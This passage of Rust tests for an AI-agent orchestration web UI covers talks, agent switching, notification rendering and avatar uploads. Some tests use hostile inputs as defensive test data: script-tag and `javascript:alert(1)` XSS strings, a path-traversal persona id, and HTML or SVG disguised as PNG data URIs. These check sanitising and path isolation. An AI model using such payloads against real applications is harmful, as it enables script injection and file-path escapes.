13458            repo.join("magi.toml"),
13459            format!(
13460                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
13461                root.to_string_lossy().into_owned()
13462            ),
13463        )
13464        .expect("write magi.toml");
13465
13466        let f = Fixture::with_repo(repo).await;
13467        let first = f.get("/api/repos").await;
13468        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13469
13470        // A second checkout appears; within the TTL the cached answer must
13471        // not notice it.
13472        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13473        let second = f.get("/api/repos").await;
13474        assert_eq!(
13475            second.json().as_array().map(Vec::len),
13476            Some(1),
13477            "a fresh cache must not rescan inside the TTL"
13478        );
13479
13480        let refreshed = f.get("/api/repos?refresh=1").await;
13481        assert_eq!(
13482            refreshed.json().as_array().map(Vec::len),
13483            Some(2),
13484            "an explicit refresh must rescan even inside the TTL"
13485        );
13486    }
13487
13488    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13489    /// string, declared straight in a repository's own `magi.toml` rather
13490    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13491    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13492    /// this is safe to run over a real HTTP round trip.
13493    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13494
13495    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13496    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13497    /// even though it takes no turn, and `talk_say` invokes one.
13498    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13499        let tmp = TempDir::new().expect("tempdir");
13500        let repo = tmp.path().join("repo");
13501        std::fs::create_dir_all(&repo).expect("repo dir");
13502        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13503        let f = Fixture::with_repo(repo.clone()).await;
13504        (tmp, repo, f)
13505    }
13506
13507    #[tokio::test]
13508    async fn posting_a_talk_with_remembered_choices_is_soft() {
13509        let (_tmp, _repo, f) = talk_fixture().await;
13510
13511        let good = f
13512            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13513            .await;
13514        assert_eq!(good.status, 201, "{}", good.body);
13515        assert_eq!(good.json()["persona"], "rei");
13516
13517        // Wrong values and wrong types are dropped one by one, never a 4xx.
13518        let stale = f
13519            .post(
13520                "/api/talks",
13521                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13522            )
13523            .await;
13524        assert_eq!(stale.status, 201, "{}", stale.body);
13525        let v = stale.json();
13526        assert_eq!(v["implementers"], 1);
13527        assert_ne!(v["persona"], "nobody");
13528        let typed = f
13529            .post(
13530                "/api/talks",
13531                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13532            )
13533            .await;
13534        assert_eq!(typed.status, 201, "{}", typed.body);
13535
13536        // The strict `agent` field still refuses an unknown id.
13537        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13538        assert!(
13539            !strict.status.to_string().starts_with('2'),
13540            "{}",
13541            strict.body
13542        );
13543    }
13544
13545    #[tokio::test]
13546    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13547        let (_tmp, _repo, f) = talk_fixture().await;
13548
13549        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13550        // is the ordinary way a phone opens a talk.
13551        let opened = f.post("/api/talks", None).await;
13552        assert_eq!(opened.status, 201, "{}", opened.body);
13553        let body = opened.json();
13554        assert_eq!(body["status"], "open");
13555        assert_eq!(
13556            body["turns"].as_array().unwrap().len(),
13557            0,
13558            "opening takes no agent turn: there is nothing yet to answer"
13559        );
13560
13561        // An explicit empty object is the same request as none at all.
13562        let also_opened = f.post("/api/talks", Some("{}")).await;
13563        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13564
13565        let listed = f.get("/api/talks").await.json();
13566        assert_eq!(listed.as_array().unwrap().len(), 2);
13567    }
13568
13569    #[tokio::test]
13570    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13571        let tmp = TempDir::new().expect("tempdir");
13572        let repo = tmp.path().join("repo");
13573        std::fs::create_dir_all(&repo).expect("repo dir");
13574        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13575        std::fs::write(
13576            repo.join("magi.toml"),
13577            format!("{MOCK_AGENT_TOML}\n{second}"),
13578        )
13579        .expect("write magi.toml");
13580        let home = TempDir::new().expect("temp home");
13581        let talks = Talks::at(home.path().join("talks"));
13582        let ui = Arc::new(
13583            Ui::new(
13584                Queue::at(home.path().join("queue")),
13585                Questions::at(home.path().join("questions")),
13586                talks.clone(),
13587                home.path().join("runs"),
13588                home.path().to_path_buf(),
13589                repo.clone(),
13590            )
13591            .with_worktrees_root(home.path().join("wt")),
13592        );
13593        let cfg = config_for(&repo).await.expect("discover config");
13594        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13595        let id = talk.id.clone();
13596        let call = |agent: &str| {
13597            talk_agent(
13598                State(Arc::clone(&ui)),
13599                Path(id.clone()),
13600                Json(TalkAgent {
13601                    agent: agent.to_owned(),
13602                }),
13603            )
13604        };
13605
13606        let unknown = call("nobody").await.expect_err("unknown agent");
13607        assert_eq!(
13608            unknown.status,
13609            StatusCode::BAD_REQUEST,
13610            "{}",
13611            unknown.message
13612        );
13613
13614        {
13615            // Nothing refused so far took a claim, so the guard is free to take
13616            // and holding it is what makes the talk busy.
13617            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13618            let busy = call("second").await.expect_err("busy talk");
13619            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13620            assert!(
13621                busy.message.contains("a talk turn is running"),
13622                "{}",
13623                busy.message
13624            );
13625            drop(guard);
13626        }
13627        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13628
13629        let Json(view) = call("second").await.expect("switch");
13630        assert_eq!(view.talk.agent, "second");
13631        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13632        let saved = talks.get(&id).expect("reload");
13633        assert_eq!(saved.agent, "second");
13634        assert_eq!(saved.turns.len(), 1);
13635        assert!(!view.thinking);
13636        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13637        for agent in ["mock", "second"] {
13638            let Json(view) = call(agent).await.expect("immediate consecutive change");
13639            assert_eq!(view.talk.agent, agent);
13640            assert!(!view.thinking);
13641            assert!(!ui.is_thinking(&id));
13642        }
13643
13644        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13645            .await
13646            .expect("detail");
13647        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13648        assert_eq!(roster, ["mock", "second"]);
13649
13650        let mut closed = talks.get(&id).expect("reload");
13651        talk::close(&mut closed, &talks).expect("close");
13652        let refused = call("mock").await.expect_err("closed talk");
13653        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13654        assert!(
13655            refused.message.contains("takes no more turns"),
13656            "{}",
13657            refused.message
13658        );
13659    }
13660
13661    #[tokio::test]
13662    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13663        let tmp = TempDir::new().expect("tempdir");
13664        let repo = tmp.path().join("repo");
13665        std::fs::create_dir_all(&repo).expect("repo dir");
13666        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13667        let home = TempDir::new().expect("temp home");
13668        let talks = Talks::at(home.path().join("talks"));
13669        let ui = Arc::new(
13670            Ui::new(
13671                Queue::at(home.path().join("queue")),
13672                Questions::at(home.path().join("questions")),
13673                talks.clone(),
13674                home.path().join("runs"),
13675                home.path().to_path_buf(),
13676                repo.clone(),
13677            )
13678            .with_worktrees_root(home.path().join("wt")),
13679        );
13680        let cfg = config_for(&repo).await.expect("discover config");
13681        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13682        let id = talk.id.clone();
13683        let call = |n: u8| {
13684            talk_implementers(
13685                State(Arc::clone(&ui)),
13686                Path(id.clone()),
13687                Json(TalkImplementers { implementers: n }),
13688            )
13689        };
13690
13691        for bad in [0u8, 4] {
13692            let e = call(bad).await.expect_err("out of range");
13693            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13694        }
13695        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13696
13697        {
13698            // Nothing refused so far took a claim, so the guard is free to take
13699            // and holding it is what makes the talk busy.
13700            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13701            let busy = call(2).await.expect_err("busy talk");
13702            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13703            assert!(
13704                busy.message.contains("a talk turn is running"),
13705                "{}",
13706                busy.message
13707            );
13708            drop(guard);
13709        }
13710
13711        let Json(view) = call(3).await.expect("switch");
13712        assert_eq!(view.talk.implementers, 3);
13713        assert!(talks.get(&id).expect("reload").implementers_dirty);
13714        assert!(!view.thinking);
13715        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13716        for n in [1, 2, 3] {
13717            let Json(view) = call(n).await.expect("immediate consecutive change");
13718            assert_eq!(view.talk.implementers, n);
13719            assert!(!view.thinking);
13720            assert!(!ui.is_thinking(&id));
13721        }
13722
13723        let mut closed = talks.get(&id).expect("reload");
13724        talk::close(&mut closed, &talks).expect("close");
13725        let e = call(2).await.expect_err("closed talk");
13726        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13727        assert!(e.message.contains("takes no more turns"), "{}", e.message);
13728    }
13729
13730    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
13731    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13732        let tmp = TempDir::new().expect("tempdir");
13733        let repo = tmp.path().join("repo");
13734        std::fs::create_dir_all(&repo).expect("repo dir");
13735        std::fs::write(
13736            repo.join("magi.toml"),
13737            format!("{MOCK_AGENT_TOML}\n{extra}"),
13738        )
13739        .expect("write magi.toml");
13740        let home = TempDir::new().expect("temp home");
13741        let talks = Talks::at(home.path().join("talks"));
13742        let ui = Arc::new(
13743            Ui::new(
13744                Queue::at(home.path().join("queue")),
13745                Questions::at(home.path().join("questions")),
13746                talks.clone(),
13747                home.path().join("runs"),
13748                home.path().to_path_buf(),
13749                repo.clone(),
13750            )
13751            .with_worktrees_root(home.path().join("wt")),
13752        );
13753        let cfg = config_for(&repo).await.expect("discover config");
13754        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13755        (tmp, home, ui, talk.id, repo)
13756    }
13757
13758    #[tokio::test]
13759    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13760        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13761        let mut conversation = ui.talks.get(&id).unwrap();
13762        talk::record(
13763            &mut conversation,
13764            &ui.talks,
13765            "# Update on a task you filed\noperator words",
13766            vec![],
13767        )
13768        .unwrap();
13769        // Simulate an old operator record; headings do not prove authorship.
13770        conversation.turns[0].sender = None;
13771        conversation.turns[0].messages.clear();
13772        ui.talks.put(&mut conversation).unwrap();
13773        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13774        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13775        talk::drain(&mut conversation, &ui.talks).unwrap();
13776        talk::record_reply(
13777            &mut conversation,
13778            &ui.talks,
13779            "about that report",
13780            vec![],
13781            Some(talk::ReplyTarget {
13782                turn: 1,
13783                message: 1,
13784            }),
13785        )
13786        .unwrap();
13787        conversation.turns[2].messages[0]
13788            .reply
13789            .as_mut()
13790            .unwrap()
13791            .sender = None;
13792        conversation.turns.push(talk::Turn {
13793            sender: Some(talk::Sender::Persona),
13794            who: talk::Who::Agent,
13795            body: "magi: actual persona words".into(),
13796            at: Timestamp::now(),
13797            attachments: vec![],
13798            usage: None,
13799            breaks: None,
13800            messages: vec![],
13801            posted_by: None,
13802        });
13803        ui.talks.put(&mut conversation).unwrap();
13804        let view = TalkView::with_config(
13805            ui.talks.get(&id).unwrap(),
13806            false,
13807            None,
13808            &ui.home,
13809            &ui.references,
13810        );
13811        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13812        assert_eq!(
13813            view.talk.turns[1].messages[0].sender,
13814            Some(talk::Sender::Operator)
13815        );
13816        assert_eq!(
13817            view.talk.turns[1].messages[1].sender,
13818            Some(talk::Sender::Magi)
13819        );
13820        assert_eq!(
13821            view.talk.turns[2].messages[0]
13822                .reply
13823                .as_ref()
13824                .unwrap()
13825                .sender,
13826            Some(talk::Sender::Magi)
13827        );
13828        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13829        assert_eq!(view.turn_messages_md[0].len(), 1);
13830        assert!(view.turn_messages_md[0][0].is_none());
13831        assert!(view.turn_messages_md[1][0].is_none());
13832        assert!(view.turn_messages_md[1][1].is_some());
13833    }
13834
13835    #[tokio::test]
13836    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13837        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13838        let mut conversation = ui.talks.get(&id).unwrap();
13839        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13840        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13841        talk::queue_notice(
13842            &mut conversation,
13843            &ui.talks,
13844            &body,
13845            "watch:123",
13846            &|_| false,
13847            None,
13848            display.clone(),
13849        )
13850        .unwrap();
13851        assert!(
13852            !talk::queue_notice(
13853                &mut conversation,
13854                &ui.talks,
13855                &body,
13856                "watch:123",
13857                &|_| false,
13858                None,
13859                display.clone()
13860            )
13861            .unwrap()
13862        );
13863        let saved = ui.talks.get(&id).unwrap();
13864        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13865        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13866        assert!(
13867            view.talk.turns[0].messages[0].display.is_none(),
13868            "operator copy stays literal"
13869        );
13870        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13871        assert!(view.turn_messages_md[0][0].is_none());
13872        let queued_md = view.pending_messages_md[0].clone();
13873        assert_eq!(
13874            queued_md,
13875            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13876        );
13877        talk::drain(&mut conversation, &ui.talks).unwrap();
13878        talk::record_reply(
13879            &mut conversation,
13880            &ui.talks,
13881            "Explain",
13882            vec![],
13883            Some(talk::ReplyTarget {
13884                turn: 1,
13885                message: 0,
13886            }),
13887        )
13888        .unwrap();
13889        let mut saved = ui.talks.get(&id).unwrap();
13890        assert_eq!(saved.turns[1].messages[0].body, body);
13891        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13892        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13893        assert!(!reply.excerpt.contains("automatic report"));
13894        reply.excerpt = body.chars().take(240).collect(); // old saved quote
13895        saved.turns[1].messages[0].display = None; // old MAGI send
13896        ui.talks.put(&mut saved).unwrap();
13897        let view = TalkView::with_config(
13898            ui.talks.get(&id).unwrap(),
13899            false,
13900            None,
13901            &ui.home,
13902            &ui.references,
13903        );
13904        assert_eq!(view.turn_messages_md[1][0], queued_md);
13905        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13906        assert!(
13907            !view.talk.turns[2].messages[0]
13908                .reply
13909                .as_ref()
13910                .unwrap()
13911                .excerpt
13912                .contains("automatic report")
13913        );
13914        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13915    }
13916
13917    #[tokio::test]
13918    async fn consultation_display_hides_directives_in_queue_and_history() {
13919        for node in [
13920            "implement",
13921            crate::land::APPROVAL_NODE,
13922            crate::github_text::ASK_NODE,
13923        ] {
13924            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13925            let mut question = Question::new(
13926                "run-123".into(),
13927                node.into(),
13928                "seat-1".into(),
13929                "Which backend?".into(),
13930                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13931                vec!["SQLite".into(), "Redis".into()],
13932            );
13933            ui.questions.put(&mut question).unwrap();
13934            let body = crate::prompt::chat_consult(&question);
13935            let mut conversation = ui.talks.get(&id).unwrap();
13936            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13937            assert!(
13938                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13939            );
13940            conversation = ui.talks.get(&id).unwrap();
13941            assert_eq!(conversation.pending_messages[0].body, body);
13942            assert!(body.contains("magi answer"));
13943            let mut legacy_pending = conversation.clone();
13944            legacy_pending.pending_messages[0].display = None;
13945            let legacy_view =
13946                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13947            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13948            assert!(legacy_md.contains("Question consultation"));
13949            assert!(!legacy_md.contains("magi answer"));
13950            let view =
13951                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13952            assert!(
13953                view.turn_messages_md[0][0].is_none(),
13954                "operator copy stays literal"
13955            );
13956            let queued_md = view.pending_messages_md[0].clone().unwrap();
13957            let rendered = serde_json::to_string(&queued_md).unwrap();
13958            for visible in [
13959                "Which backend?",
13960                "Context",
13961                "storage",
13962                "SQLite",
13963                "Redis",
13964                "<script>literal</script>",
13965            ] {
13966                assert!(rendered.contains(visible), "missing {visible}");
13967            }
13968            for directive in [
13969                "What to do",
13970                "magi answer",
13971                "Never answer it yourself",
13972                "Do not edit the repository",
13973            ] {
13974                assert!(!rendered.contains(directive), "exposed {directive}");
13975            }
13976            assert_eq!(
13977                view.talk.pending_messages[0].display,
13978                Some(crate::prompt::chat_consult_display(&question))
13979            );
13980            talk::drain(&mut conversation, &ui.talks).unwrap();
13981            let view =
13982                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13983            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13984            assert_eq!(conversation.turns[1].messages[0].body, body);
13985
13986            // Historical consultations lack a snapshot: show a safe placeholder
13987            // rather than parsing instructions or reconstructing mutable facts.
13988            conversation.turns[1].messages[0].display = None;
13989            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13990            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13991            assert!(legacy.contains("Question consultation"));
13992            assert!(!legacy.contains("magi answer"));
13993            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13994        }
13995    }
13996
13997    #[test]
13998    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13999        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14000        let (body, mut display) =
14001            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14002        display.facts = facts.into();
14003        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14004        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14005        let json = serde_json::to_string(&nodes).unwrap();
14006        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14007            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14008        }
14009        assert!(json.contains("<script>alert(1)</script>"));
14010        assert!(!json.contains("javascript:"));
14011        assert!(!json.contains("Tell the operator"));
14012        assert!(!json.contains("untrusted"));
14013        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14014        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14015        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14016        assert_eq!(
14017            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14018            md::to_nodes("# Status", &md::ImageBase::None),
14019        );
14020    }
14021
14022    #[tokio::test]
14023    async fn notification_display_recovers_exact_legacy_completion_references() {
14024        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14025        let mut conversation = ui.talks.get(&id).unwrap();
14026        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14027            id: "task-123",
14028            title: "Change",
14029            status: "done",
14030            reason: None,
14031            run: Some("run-123"),
14032            pr: None,
14033            summary: Some("Merge state unknown"),
14034        });
14035        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14036        conversation.turns[0].sender = None;
14037        conversation.turns[0].messages.clear();
14038        conversation.turns[0].breaks = None;
14039        conversation.pending = body.clone();
14040        conversation
14041            .completion_notices
14042            .push(crate::chat_notify::CompletionReference {
14043                task: "task-123".into(),
14044                run: Some("run-123".into()),
14045                notice: body.clone(),
14046            });
14047        ui.talks.put(&mut conversation).unwrap();
14048        let view = TalkView::with_config(
14049            ui.talks.get(&id).unwrap(),
14050            false,
14051            None,
14052            &ui.home,
14053            &ui.references,
14054        );
14055        assert_eq!(
14056            view.talk.turns[0].messages[0].display,
14057            Some(display.clone())
14058        );
14059        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14060        assert_eq!(
14061            view.talk.turns[0].messages[0].sender,
14062            Some(talk::Sender::Magi)
14063        );
14064        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14065        conversation.completion_notices[0]
14066            .notice
14067            .push_str("different");
14068        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14069        assert!(view.talk.turns[0].messages.is_empty());
14070        assert!(view.talk.pending_messages.is_empty());
14071    }
14072
14073    #[tokio::test]
14074    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14075        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14076        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14077            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14078        ))
14079        .await;
14080        let path = avatar_setting_path(home.path(), Some("rei"));
14081        let orphan = avatar_setting_path(home.path(), Some("removed"));
14082        save_icon_file(&orphan, icon).unwrap();
14083        for (saved, expected) in [
14084            (icon, "custom"),
14085            ("builtin", "builtin"),
14086            ("data:image/png;base64,!!!!", "inherit"),
14087            ("data:image/png;base64,PGh0bWw+", "inherit"),
14088            ("/tmp/avatar.png", "inherit"),
14089        ] {
14090            atomic_icon_write(&path, saved).unwrap();
14091            let catalog =
14092                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14093                    .await
14094                    .unwrap()
14095                    .0;
14096            let personas = catalog["personas"].as_array().unwrap();
14097            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14098            assert_eq!(rei["override_state"], expected);
14099            assert_eq!(rei["has_config_icon"], true);
14100            assert_eq!(rei["is_orphan"], false);
14101            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14102            assert_eq!(removed["override_state"], "custom");
14103            assert_eq!(removed["is_orphan"], true);
14104            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14105            assert_eq!(default["override_state"], "inherit");
14106            assert_eq!(default["has_config_icon"], false);
14107            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14108            assert_eq!(
14109                effective.as_deref(),
14110                Some(if expected == "builtin" { "" } else { icon })
14111            );
14112        }
14113    }
14114
14115    #[tokio::test]
14116    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14117        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14118        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14119            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14120        ))
14121        .await;
14122        let target = |id: Option<&str>| AvatarSettingsQuery {
14123            persona: id.map(str::to_owned),
14124            ..Default::default()
14125        };
14126        let original_config = config_for(&repo).await.unwrap();
14127        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14128        let original_prompt = persona::section_for(&original_persona, None);
14129        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14130            .await
14131            .unwrap()
14132            .0;
14133        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14134            let _ = avatar_settings_put(
14135                State(ui.clone()),
14136                Query(target(persona)),
14137                Json(MagiIconUpload { icon: icon.into() }),
14138            )
14139            .await
14140            .unwrap();
14141            let path = avatar_setting_path(home.path(), persona);
14142            assert!(path.starts_with(home.path().join("avatars")));
14143            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14144            for bad in [
14145                "/tmp/image.png".to_owned(),
14146                "data:image/png;base64,!!!!".to_owned(),
14147                "data:image/png;base64,PGh0bWw+".to_owned(),
14148                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14149                format!(
14150                    "data:image/png;base64,{}",
14151                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14152                ),
14153            ] {
14154                assert!(
14155                    avatar_settings_put(
14156                        State(ui.clone()),
14157                        Query(target(persona)),
14158                        Json(MagiIconUpload { icon: bad })
14159                    )
14160                    .await
14161                    .is_err()
14162                );
14163                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14164            }
14165        }
14166        assert!(read_magi_icon(home.path()).is_none());
14167        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14168        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14169            .await
14170            .unwrap()
14171            .0;
14172        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14173        assert_ne!(
14174            before
14175                .personas
14176                .iter()
14177                .find(|p| p.id == "magi")
14178                .unwrap()
14179                .avatar,
14180            after
14181                .personas
14182                .iter()
14183                .find(|p| p.id == "magi")
14184                .unwrap()
14185                .avatar
14186        );
14187        let restarted = Arc::new(Ui::new(
14188            Queue::at(home.path().join("queue")),
14189            Questions::at(home.path().join("questions")),
14190            Talks::at(home.path().join("talks")),
14191            home.path().join("runs"),
14192            home.path().to_owned(),
14193            repo,
14194        ));
14195        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14196            .await
14197            .unwrap()
14198            .0;
14199        assert!(
14200            catalog["personas"]
14201                .as_array()
14202                .unwrap()
14203                .iter()
14204                .any(|p| p["id"] == "../custom/日本語")
14205        );
14206        for expected in ["custom", "default", "rei"] {
14207            assert!(
14208                catalog["personas"]
14209                    .as_array()
14210                    .unwrap()
14211                    .iter()
14212                    .any(|p| p["id"] == expected)
14213            );
14214        }
14215        let response =
14216            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14217        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14218        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14219            .await
14220            .unwrap();
14221        assert_eq!(
14222            effective_persona_icon(home.path(), "rei", Some(icon)),
14223            Some(String::new())
14224        );
14225        let response = talk_avatar(
14226            State(restarted.clone()),
14227            Path(id.clone()),
14228            Query(AvatarQuery {
14229                persona: Some("rei".into()),
14230                ..Default::default()
14231            }),
14232        )
14233        .await
14234        .unwrap();
14235        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14236        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14237            .await
14238            .unwrap()
14239            .0;
14240        assert_ne!(
14241            after
14242                .personas
14243                .iter()
14244                .find(|p| p.id == "rei")
14245                .unwrap()
14246                .avatar,
14247            reset
14248                .personas
14249                .iter()
14250                .find(|p| p.id == "rei")
14251                .unwrap()
14252                .avatar
14253        );
14254        let mut inherit = target(Some("rei"));
14255        inherit.inherit = Some("1".into());
14256        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14257            .await
14258            .unwrap();
14259        assert_eq!(
14260            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14261            Some(icon)
14262        );
14263        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14264            .await
14265            .unwrap();
14266        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14267        assert_eq!(
14268            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14269            Some(icon)
14270        );
14271        // Display changes never rewrite the conversation or its prompt-bearing config.
14272        let cfg = config_for(&ui.repo).await.unwrap();
14273        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14274        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14275        assert!(!original_prompt.contains("data:image"));
14276        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14277        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14278        assert!(!stored.contains("data:image"));
14279        let mut orphan = ui.talks.get(&id).unwrap();
14280        orphan.persona = "../custom/日本語".into();
14281        let view = TalkView::with_config(
14282            orphan,
14283            false,
14284            Some(&cfg),
14285            home.path(),
14286            &id_links::IndexCache::default(),
14287        );
14288        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14289    }
14290
14291    #[tokio::test]
14292    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14293        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14294        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14295        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14296        let _ = magi_icon_put(
14297            State(ui.clone()),
14298            Json(MagiIconUpload { icon: icon.into() }),
14299        )
14300        .await
14301        .unwrap();
14302        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14303        assert_ne!(original, changed);
14304        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14305        let response = magi_avatar(
14306            State(ui.clone()),
14307            Query(AvatarQuery {
14308                persona: None,
14309                builtin: None,
14310            }),
14311        )
14312        .await;
